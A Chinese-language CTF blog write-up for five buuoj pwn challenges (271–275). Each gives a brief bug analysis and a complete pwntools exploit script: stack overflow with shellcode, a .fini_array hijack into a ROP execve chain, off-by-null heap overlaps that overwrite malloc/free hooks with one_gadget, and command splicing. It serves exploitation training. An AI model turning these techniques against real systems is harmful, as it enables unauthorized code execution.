buuoj Pwn writeup 271-275

271 espcially_tu_2016

在这里插入图片描述
在这里插入图片描述就是一个栈溢出。

在这里插入图片描述在这里插入图片描述

但是这个题最麻烦的是他scanf之后居然缓冲区里面有一个回车,导致我们gets的时候失败了,所以我们就gets了两次。

然后做了个小实验。
setvbuf

exp

from pwn import *
context(os='linux', arch='i386',log_level='debug')
r = remote("node4.buuoj.cn",27739)
#r = process("./271")

elf = ELF("./271")
libc = ELF("./32/libc-2.23.so")

gets_plt = elf.plt['gets']
bss_addr = 0x804a060

payload = 'a' * 36 + 'a' * 8 + p32(gets_plt) + p32(gets_plt) + p32(bss_addr) + p32(bss_addr)

r.sendlineafter("What's your name?\n", payload)
r.sendlineafter("What's your favorite number?\n", "1")

r.sendline(asm(shellcraft.sh()))

r.interactive()

272 pwnable_317

在这里插入图片描述
会发现RELRO是半开的,但是其实因为这道题是静态链接,所以我们还是可以劫持.fini_array。

开始读程序。
在这里插入图片描述
我们可以任意地址写,但是长度只有0x18个字节,并不足以进行利用。
所以我们考虑劫持fini_array进行多次任意写。
然后制造rop。

但是我们要注意,这个程序的fini_array数组有两个。
在这里插入图片描述所以只能跑两个函数。

exp

from pwn import*

r = remote("node4.buuoj.cn", 29087)

context.log_level = "debug"

fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960
esp = fini_array + 0x10
leave_ret = 0x401C4B
ret = 0x401016
 
rop_syscall = 0x471db5
rop_pop_rax = 0x41e4af
rop_pop_rdx = 0x446e35
rop_pop_rsi = 0x406c30
rop_pop_rdi = 0x401696
bin_sh_addr = 0x4B419A
 
def write(addr,data):
    r.recv()
    r.send(str(addr))
    r.recv()
    r.send(data)
 

write(fini_array,p64(libc_csu_fini) + p64(main_addr))
 
write(bin_sh_addr,"/bin/sh\x00")
write(esp,p64(rop_pop_rax))
write(esp+8,p64(0x3b))
write(esp+16,p64(rop_pop_rdi))
write(esp+24,p64(bin_sh_addr))
write(esp+32,p64(rop_pop_rdx))
write(esp+40,p64(0))
write(esp+48,p64(rop_pop_rsi))
write(esp+56,p64(0))
write(esp+64,p64(rop_syscall))
 
write(fini_array,p64(leave_ret) + p64(ret))
 
r.interactive()

273 pwnable_secret_of_my_heart

在这里插入图片描述在这里插入图片描述
初始化
随机开了一块空间。

add
在这里插入图片描述
在读入的时候会有一个off by null在这里插入图片描述
delete
在这里插入图片描述
剩下的函数都没啥问题。

所以说白了就是一道off by null。

exp

#!usr/bin/python
from pwn import *
context.log_level = 'debug'

r = remote("node4.buuoj.cn", 29361)
elf = ELF("./273")
libc = ELF("./64/libc-2.23.so")

def add(size, sec):
	r.sendlineafter("Your choice :", str(1))
	r.sendlineafter(" : ", str(size))
	r.sendafter(" :", "a"*0x20)
	r.sendafter(" :", sec)

def show(idx):
	r.sendlineafter("Your choice :", str(2))
	r.sendlineafter("Index :", str(idx))
	
def delete(idx):
	r.sendlineafter("Your choice :", str(3))
	r.sendlineafter("Index :", str(idx))
	
	
add(0x20, "a" * 0x20)
show(0)
r.recvuntil("a"*0x20)
heap = u64(r.recv(6).ljust(8, '\x00')) - 0x10

add(0x100, "a" * 0xF0+p64(0x100))   
add(0x100, "a" * 0x20)	    
delete(1)
delete(0)
payload = "/bin/sh\x00"
payload = payload.rjust(0x28, "\x00")
add(0x28, payload)		
# delete(2)
add(0x80, "c" * 0x80)
add(0x40, "c" * 0x40)		

delete(1)
delete(2)

add(0x80, "d")		
add(0x100, "d"*0x68 + p64(0x70))	
add(0x80, "d")		

delete(2)
show(3)
r.recvuntil("Secret : ")
libc_base = u64(r.recv(6).ljust(8, '\x00'))-88-0x10-libc.symbols['__malloc_hook']# -0x3C4B78
malloc_addr = libc_base + libc.sym['__malloc_hook']
sys_addr = libc_base + libc.sym['system']
one_gadget = libc_base + 0xf02a4


delete(1)
add(0x100, "e"*0x80+p64(0)+p64(0x71))

delete(3)
delete(1)

add(0x100, "f"*0x80+p64(0)+p64(0x71)+p64(malloc_addr-0x23))
add(0x60, "f")
add(0x60, "\x00"*0x13+p64(one_gadget))

delete(3)
r.interactive()

274 bjdctf_2020_dizzy

在这里插入图片描述在这里插入图片描述

判断输入的字节是否等于v8,等于的话v8下移一个地址判断继续判断
最后如果v8指向的值不为0,就exit,否则system(command),其实还是拼凑命令。

exp

from pwn import *

context.log_level = 'debug'

	
r = remote("node4.buuoj.cn", 29056)

flag="PvvN| 1S S0 GREAT! & sh "

for i in range(6):
    a= i * 4
    r.sendline(str(u32(flag[a:a+4])-114514))

for i in range(14):
    r.sendline('174')

r.interactive()

275 ciscn_2019_final_9

在这里插入图片描述

add
在这里插入图片描述chunk大小不能大于0xf8

safe_read一点也不safe
在这里插入图片描述
有个off by null。

free
在这里插入图片描述没啥问题。

puts
在这里插入图片描述
puts也没啥问题。

所以说半天就是一个off by null。
但是问题是首先我们无法通过常规的off by null做一个overlap。主要是因为我们无法去获得地址,无论是tcache的地址还是bss地址。
那么我们平常说的off by null的overlap也好,unlink也好,用不了了。咋整?

参考了ha1vk大佬wp

首先我们通过unsorted bin的合并在chunk2的pre_size上写了个0x200.
在这里插入图片描述
然后通过off by null。
在这里插入图片描述
然后就又一样了。

exp

# -*- coding: utf-8 -*-
from pwn import*

context.log_level = "debug"

#r = process("./275")
r = remote("node4.buuoj.cn", 25194)

libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1_amd64/libc.so.6")

def add(size, content):
    r.sendlineafter("command?\n> ", "1")
    r.sendlineafter("size \n> ", str(size))
    r.sendlineafter("content \n> ", content)

def delete(index):
    r.sendlineafter("command?\n> ", "2")
    r.sendlineafter("index \n> ", str(index))
    
def show(index):
    r.sendlineafter("command?\n> ", "3")
    r.sendlineafter("index \n> ", str(index))

add(0xF0,'a'*0xF0) #0
add(0xF0,'b'*0xF0) #1
add(0xF0,'c'*0xF0) #2
#3~9
for i in range(7):
   add(0xF0,'d'*0xF0)
 
for i in range(3,10):
   delete(i)

delete(0)
delete(1)
#2放入unsorted bin,与前面合并,但是prev_size不会清空
delete(2)

#0~6
for i in range(7):
   add(0xF0,'d'*0xF0)
 
add(0xF0,'a'*0xF0) #7
add(0xF0,'b'*0xF0) #8
add(0xF0,'c'*0xF0) #9
 
#填充tcache bin
for i in range(7):
   delete(i)
#7放入unsorted bin
delete(7)
#0~6
for i in range(7):
   add(0xF0,'d'*0xF0)
 
delete(8)
add(0xF8,'off by null') #7


for i in range(7):
   delete(i)

delete(9)
#0~6
for i in range(7):
   add(0xF0,'d'*0xF0)
   
add(0xF0,'a') #8
show(7)
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x4f322
print "libc_base = " + hex(libc_base)

add(0xF0,'b') #9与7重合
delete(0)
delete(1)
#double free
delete(7)
delete(9)

 
add(0xF0,p64(free_hook)) #0
add(0xF0,'/bin/sh') #1

add(0xF0,p64(one_gadget))


#getshell
delete(1)
 
r.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值